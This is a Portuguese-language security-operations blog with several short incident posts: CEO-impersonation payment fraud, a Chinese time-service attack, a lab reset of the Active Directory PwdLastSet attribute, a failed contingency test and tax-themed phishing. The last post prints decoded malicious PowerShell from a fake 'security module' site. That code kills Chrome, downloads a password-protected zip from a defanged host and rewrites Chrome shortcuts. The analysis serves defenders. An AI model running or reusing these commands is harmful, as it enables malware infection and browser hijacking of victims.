Autor: João Fuzinelli

João Fuzinelli, formado em Sistemas de informação possui algumas certificações de mercado e vasta experiência em ambientes de infraestrutura crítica e cibersegurança. Atualmente trabalha nas operações de SOC da CYLO Cybersecurity.

Vol. 1 No. 20251113-1013 (2025)

Cadeia de suprimentos monitorada?

João Fuzinelli | joao@cylo.com.br | 13/11/2025

Peguei um caso em que duas pessoas da equipe financeira receberam um e-mail que se passava pelo CEO da empresa. A mensagem autorizava um pagamento de R$ 28.900,00 pelos serviços prestados. A equipe rapidamente identificou que se tratava de uma fraude e reportou o incidente para a área de cibersegurança. Ainda bem!

O atacante criou uma conta @outlook.com utilizando o nome do CEO, tentando conferir legitimidade ao envio (ex.: abc.xyz@outlook.com).

Além disso, ele alterou o campo Display Name da mensagem para o nome completo do executivo e criou uma assinatura com o logo da empresa.

No corpo do e-mail, o fraudador enviava uma chave Pix para a realização do pagamento, sendo essa chave o próprio CNPJ da empresa recebedora.

Até aí tudo comum em um ataque de phishing…

Por curiosidade, busquei informações sobre a empresa fraudadora e, por meio do CNPJ, cheguei até o proprietário. A empresa estava localizada em Arapongas – PR.

Ao analisar o histórico profissional do dono da empresa, encontrei um dado relevante: em 2023, o fraudador havia trabalhado em uma empresa prestadora de serviços para a companhia que agora estava sendo alvo.

Como o ataque foi direcionado, com conhecimento dos e-mails e dos nomes específicos envolvidos no processo de pagamentos, é bem provável que o atacante tenha se apropriado de alguma base contendo dados dos clientes do seu emprego anterior e, agora, estivesse aplicando golpes.

Infelizmente, trata-se de mais um caso típico de falhas de controle em múltiplos processos. A superfície de risco só cresce quando a cadeia de suprimentos não é monitorada de ponta a ponta.

Vol. 1 No. 20251021-998 (2025)

Ataque ao time service chinês. Já pensou no impacto?

João Fuzinelli | joao@cylo.com.br | 21/10/2025

Acompanhando algumas notícias recentemente a China acusou a NSA de ter realizado um ataque ao serviço de tempo (National Time Service Center) responsável por manter e transmitir o horário de Pequim

Assim como alguns problemas geopolíticos recentes do Brasil com o Estados Unidos, em que surgiu rumores da possibilidade de bloquearem o serviço de GPS, o Time Service poderia ter causado um grande caos para os chineses, parando serviços como comunicação de rede e até sistemas financeiros.

O mais interessante é que tudo começou por um ataque de triangulação de celulares e em seguida o roubo de credenciais.

E várias vezes já pegamos de problemas de autenticação relacionados ao Active Directory em que a causa raiz era os relógios dessincronizados.

Reforço a atenção para um serviço negligenciado

Link da matéria:

hxxps[://]thehackernews[.]com/2025/10/mss-claims-nsa-used-42-cyber-tools-in[.]html?m=1

Vol. 1 No. 20250814-855 (2025)

O PwdLastSet pode confundir?

João Fuzinelli | joao@cylo.com.br | 14/08/2025

Trabalhando em uma resposta a um incidente onde o Domain Admin foi comprometido, comecei a fazer um levantamento do campo PwdLastSet no Active Directory Domain Services com o objetivo de identificar, logicamente, os usuários que realizaram trocas de senhas antes e/ou durante o incidente. Sendo assim, me surgiu uma dúvida:

O atributo PwdLastSet pode ser alterado?

Primeiro, vamos a definição:

“A data e a hora em que a senha dessa conta foi alterada pela última vez. Esse valor é armazenado como um inteiro grande que representa o número de intervalos de 100 nanossegundos desde 1º de janeiro de 1601 (UTC). Se esse valor for definido como 0 e o atributo User-Account-Control não contiver o sinalizador UF_DONT_EXPIRE_PASSWD, o usuário deverá definir a senha no próximo logon.“

FONTE: https://learn.microsoft.com/en-us/windows/win32/adschema/a-PwdLastSet

Partimos para um laboratório onde subi um Active Directory Domain Services sobre um Windows Server 2022. Criei um usuário chamado lab.user com uma senha definida. O campo pwdLastSet adicionou as informações de data, hora e GMT configuradas no sistema operacional

Aí vem o teste. A primeira coisa que tentei foi adicionar um epoch time no usuárioporém sem sucesso em um script powershell.

Verificando a documentação entendi que é possível setar duas flags o 0 indicando que a senha nunca foi trocada e o -1 que utiliza do tempo atual.

O script e os resultados

OBS.: O script apresentado neste artigo é destinado exclusivamente para fins educativos e de aprendizado. Não nos responsabilizamos pelo uso indevido, aplicação em contextos não autorizados ou quaisquer consequências decorrentes da utilização deste código. Recomendamos que os leitores utilizem o script de forma ética e em conformidade com todas as leis e regulamentos aplicáveis.

Import-Module ActiveDirectory
    Import-Module ActiveDirectory
    Set-ADUser -Identity "lab.user" -Replace @{PwdLastSet="0"}
    Get-ADUser -Identity lab.user -Properties PasswordLastSet
Utilizando 0 como flag
Import-Module ActiveDirectory
    Import-Module ActiveDirectory
    Set-ADUser -Identity "lab.user" -Replace @{PwdLastSet="-1"}
    Get-ADUser -Identity lab.user -Properties PasswordLastSet
Adicionando -1 como flag

Entendo que existem outros campos como WhenChanged que podem ser utilizados para investigação porém o que me trouxe até aqui foi quanto isso poderia ser confuso para quem está respondendo ao incidente de cibersegurança

Vol. 1 No. 20250525-593 (2025)

CP: Contingency Plan em Ação: O teste malsucedido

João Fuzinelli | joao@cylo.com.br | 25/05/2025

Há algumas semanas atrás, colocamos em prática umas das famílias de controle do NIST SP 800-53 denominada: CP Contingency Plan que estamos implantando a alguns meses em um cliente

Esta família possui 13 controles dentre eles os de relevância para este post:

  • CP-1: Política e Procedimentos – Estabelece uma política e procedimentos formais para o plano de contingência.
  • CP-2: Plano de Contingência – Define o plano de contingência do sistema, incluindo objetivos de recuperação, prioridades de restauração e métricas de desempenho.
  • CP-4: Teste do Plano de Contingência – Recomenda a realização de testes para avaliar a eficácia do plano e a prontidão da equipe para executá-lo.

Durante a elaboração do plano de contingência (CP-2), definimos métricas para avaliar o sucesso dos testes. Essas métricas abrangem aspectos técnicos e, principalmente, indicadores alinhados aos objetivos do negócio.

As métricas voltadas para o negócio proporcionam ao corpo diretor uma visão clara do retorno sobre o investimento (ROI). Elas demonstram, na prática, que os recursos investidos no plano de contingência são justificados.

O que aconteceu durante o teste?

Embora o plano tenha sido bem estruturado, enfrentamos uma falha durante os testes devido a uma decisão equivocada. O processo começou bem: a infraestrutura foi restaurada em aproximadamente 20 minutos, bem abaixo da meta de 4 horas para a plena execução do sistema. Nosso plano incluía terceiros, com nomes, funções e contatos devidamente registrados no documento de contingência.

Dois dias antes do teste, foi tomada a decisão de não envolver o terceiro especialista responsável pelo sistema em questão, com a equipe interna assumindo essa responsabilidade. Com a infraestrutura funcionando perfeitamente, estávamos confiantes de que alcançaríamos um tempo de recuperação muito inferior ao planejado. No entanto, ao realizar os testes dos serviços do sistema, enfrentamos um erro inesperado.

A equipe responsável pelos testes e pela resolução do problema não conseguiu solucioná-lo imediatamente. Tentamos, então, contatar o terceiro especialista que havia sido previamente excluído da prática. Após cerca de duas horas sem resposta, declaramos a falha do teste. Ressaltamos que o teste foi realizado em um sábado, o que pode ter dificultado ainda mais comunicação.

Lições aprendidas

Siga o plano à risca: Um plano de contingência bem definido é projetado para antecipar problemas e deve ser rigorosamente seguido.

Impacto em situações reais: Em um cenário de desastre, especialmente em dias críticos para o cliente, a ausência/falta de comunicação com um terceiro essencial poderia resultar em caos operacional e consequentemente em perdas financeiras

Revisão de terceiros críticos: A confiabilidade de terceiros essenciais à operação deve ser constantemente avaliada. Contratos, canais de comunicação e acordos de disponibilidade precisam ser revisados, considerando que desastres não são previsíveis.

    Com essa experiência deixo o questionamento: Seu plano de recuperação de desastres está bem definido e principalmente testado?

    Vol. 1 No. 20250415-321 (2025)

    Phishing no Imposto de Renda

    João Fuzinelli | joao@cylo.com.br | 15/04/2025

    Com a chegada da necessidade da declaração brasileira de imposto de renda temos visto o início campanhas de phishing tentando persuadir pessoas físicas a realizarem pagamentos inadequados.

    O e-mail leva o usuário para uma página falsa do governo brasileiro solicitando o CPF da pessoa.

    Ao inserir os números do CPF o site falso inicia um carregamento como se estivesse fazendo uma busca a Receita Federal brasileira

    Em seguida mostra uma p´´agina como se o CPF consultado estivesse devedor e em caso de não pagamento poderia ocasionar uma série de multas

    Ao clicar no botão regularizar o site simula que está realizando os cálculos e gera um extrato do que deve ser pago

    Ao pedir para gerar a Darf o site traz a data atual para pagamento e um contador regressivo impondo urgência

    Até o exato momento 15-04-2025 21:02 o QRCode do pix não carregou e aparentemente os botões estão quebrados

    Recomendamos atenção a ataques relacionados ao assunto, bem como tentativas de fraude por telefone

    Vol. 1 No. 20250404-122 (2025)

    A Armadilha do Módulo Falso

    João Fuzinelli | joao@cylo.com.br | 04/04/2025

    Nas últimas semanas, deparamo-nos com uma fraude envolvendo uma entidade financeira, que ocorreu da seguinte maneira: por meio de uma ligação telefônica, o fraudador solicitava que a vítima acessasse o site abaixo:

    O site entrava em um modo de ‘aguarde’ e, ao examinarmos o código, identificamos o seguinte caminho:

    /diagnostico

    O site sempre apresentava um erro de validação, pois o fraudador alegava, durante a conversa, que era necessário atualizar o módulo de segurança.

    Ao clicar no botão ‘Instalar Módulo Mais Recente’, era iniciado o download de um arquivo .exe, que o navegador marcava como não confiável. Já no botão ‘Copiar Código de Segurança’, era fornecida uma linha de comando codificada em Base64. Ao realizar o decode, obtive o seguinte resultado em alguns blocos:

    Força a parada do processo Chrome:

    Stop-Process -Name “chrome” -Force

    Instala um módigo do 7zip para powershell

    If(-not(Get-InstalledModule 7Zip4Powershell -ErrorAction silentlycontinue)){
    Install-Module 7Zip4Powershell -Confirm:$False -Force
    }

    Realiza o download de um arquivo denominado plugin.zip

    Invoke-WebRequest “https:/XYZ[.]COM/download?file=plugin[.]zip” -OutFile “$env:APPDATA\plugin.zip”

    Coloca o valor da senha em uma variavel para descomprimir o arquivo zip

    $Secure_String_Pwd = ConvertTo-SecureString “@Wrs304093” -AsPlainText -Force

    Cria um arquivo .lnk na área de trabalho

    ForEach ($folder in $special_folders) {
    If (([Environment]::GetFolderPath(“$folder”)) -ne “”) {
    $path = [Environment]::GetFolderPath(“$folder”)
    $shortcut_name = “\Google Chrome.lnk”
    If ([System.IO.File]::Exists(“$($path)$($shortcut_name)”)) {
    $obj = New-Object -comObject WScript.Shell;
    $lnk = $obj.CreateShortcut(“$($path)$($shortcut_name)”);
    $lnk.Arguments = “$arg”;
    $lnk.Save();
    }

    Por fim, o site realizava o download do módulo de segurança original e dava continuidade ao processo, simulando uma atualização legítima. Estou monitorando as atividades do nosso servidor infectado para obter mais informações.